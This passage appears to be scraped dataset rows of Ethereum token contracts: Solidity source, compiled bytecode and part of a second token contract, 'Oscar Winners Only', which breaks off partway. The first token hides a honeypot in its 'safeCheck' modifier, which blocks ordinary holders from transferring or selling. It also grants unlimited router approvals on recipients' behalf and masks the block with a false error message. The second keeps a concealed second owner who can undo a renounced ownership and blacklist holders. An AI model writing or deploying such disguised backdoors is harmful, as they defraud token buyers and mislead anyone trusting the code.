bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_CATE(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b238cf0c424bde8f95a21252dee1320588d4bf5575b25fbf6d09720b01e65c6d64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 3,561 |
0xab8e37124fb4c3f38ef5ca58ec5561b3240b319f
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _msgSome;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
_msgSome = msgSender;
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
modifier onlyOwnes() {
require(_msgSome == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnershipTo(address newOwner) public virtual onlyOwnes {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract OscarWinners is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Oscar Winners Only";
string private constant _symbol = "oWo";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _distroFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 4;
//Sell Fee
uint256 private _distroFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _distroFee = _distroFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousDistroFee = _distroFee;
uint256 private _previousTaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0xDd2ff81B822C9acB9312472002bB26500e8D6C32);
address payable private _devAddress = payable(0x521171A241586F0A284DF62D3bdec5597739e2dd);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 40000000000 * 10**9; //2.7% of total supply per txn
uint256 public _maxWalletSize = 200000000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_devAddress] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_distroFee == 0 && _taxFee == 0) return;
_previousDistroFee = _distroFee;
_previousTaxFee = _taxFee;
_distroFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_distroFee = _previousDistroFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen)
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee1(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_distroFee = _distroFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_distroFee = _distroFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
// _marketingAddress.transfer(amount.div(9).mul(8));
_marketingAddress.transfer(amount);
//_devAddress.transfer(amount.div(9).mul(1));
}
function sendETHToFee1(uint256 amount) private {
// _marketingAddress.transfer(amount.div(9).mul(8));
//_marketingAddress.transfer(amount);
_devAddress.transfer(amount.div(9).mul(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwnes {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwnes {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _distroFee, _taxFee);
